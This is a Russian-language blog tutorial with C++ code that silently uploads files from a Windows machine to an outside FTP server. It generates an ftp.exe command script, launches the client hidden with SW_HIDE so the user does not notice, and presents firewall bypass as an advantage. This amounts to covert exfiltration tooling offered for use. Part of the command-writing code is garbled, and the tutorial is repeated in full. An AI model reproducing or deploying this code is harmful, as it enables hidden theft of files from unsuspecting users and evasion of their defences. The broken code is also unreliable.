Заливать файл на сервер будем по ftp при помощи стандартной виндовой утилы ftp.exe. Процесс автоматизируем небольшой прогой на С++. Одно из преимуществ этого метода – обход криво настроенных фаерволов, так как у большинства незадачливых владельцев «огнестенок» командная строка (через которую, собственно, и работает майкрософтовский фтп-клиент) находится в списке доверенных приложений. Вооружившись компилятором, приступим к решению.
1. При запуске ftp.exe программе необходимо передать два параметра: путь до файла с командами и имя (либо IP) хоста. Допустим, наиболее безопасным местом для создания файла будет виндовая директория. Забросим в переменную com_file путь вида X:\WINDOWS\ftp_commands:
char com_file[256];
char m_dir[256];
GetWindowsDirectory(m_dir,sizeof(m_dir));
strcpy(com_file, m_dir);
strcat(com_file,"\\ftp_commands");
Здесь все предельно понятно, стоит лишь обратить внимание на двойной бэкслеш (\\) вместо одинарного. Его нужно использовать везде, где необходимо показать вложенность директорий.
Завершим создание переменной с параметрами, используя com_file:
char param[128];
strcpy(param, "-s:");
strcat(param, com_file);
strcat(param, " ");
strcat(param, "my-host.com");
В результате в переменной param получим:
"-s:X:\WINDOWS\ftp_commands my-host.com".
2. Начинаем общение с сервером. Путь до файла с командами определили, а с самим файлом не поработали. Исправим это: запишем в него последовательность команд, передаваемых ftp-шнику.
ofstream of(com_file);
of<<"mylogin"<» меняем директорию (если требуется). Командой send (send <локальный_файл> <файл_на_сервере>) будет послан экзешник с редактором реестра. Ну а строчкой «quit» попрощаемся с фтп-шником сервера.
3. Воспользуемся функцией ShellExecute() для запуска ftp.exe. Третьим параметром покажем намерение запустить виндовый фтп-клиент, а четвертым передадим подготовленную строку с параметрами для него. Чтобы не беспокоить пользователя, укажем SW_HIDE и консольный запуск ftp.exe пройдет незаметно. Набираем:
ShellExecute(0 ,NULL, "ftp", param, NULL, SW_HIDE);
Готово. Компилируем, запускаем, проверяем ftp-сервер.
1. При запуске ftp.exe программе необходимо передать два параметра: путь до файла с командами и имя (либо IP) хоста. Допустим, наиболее безопасным местом для создания файла будет виндовая директория. Забросим в переменную com_file путь вида X:\WINDOWS\ftp_commands:
char com_file[256];
char m_dir[256];
GetWindowsDirectory(m_dir,sizeof(m_dir));
strcpy(com_file, m_dir);
strcat(com_file,"\\ftp_commands");
Здесь все предельно понятно, стоит лишь обратить внимание на двойной бэкслеш (\\) вместо одинарного. Его нужно использовать везде, где необходимо показать вложенность директорий.
Завершим создание переменной с параметрами, используя com_file:
char param[128];
strcpy(param, "-s:");
strcat(param, com_file);
strcat(param, " ");
strcat(param, "my-host.com");
В результате в переменной param получим:
"-s:X:\WINDOWS\ftp_commands my-host.com".
2. Начинаем общение с сервером. Путь до файла с командами определили, а с самим файлом не поработали. Исправим это: запишем в него последовательность команд, передаваемых ftp-шнику.
ofstream of(com_file);
of<<"mylogin"<
3. Воспользуемся функцией ShellExecute() для запуска ftp.exe. Третьим параметром покажем намерение запустить виндовый фтп-клиент, а четвертым передадим подготовленную строку с параметрами для него. Чтобы не беспокоить пользователя, укажем SW_HIDE и консольный запуск ftp.exe пройдет незаметно. Набираем:
ShellExecute(0 ,NULL, "ftp", param, NULL, SW_HIDE);
Готово. Компилируем, запускаем, проверяем ftp-сервер.
Комментариев нет:
Отправить комментарий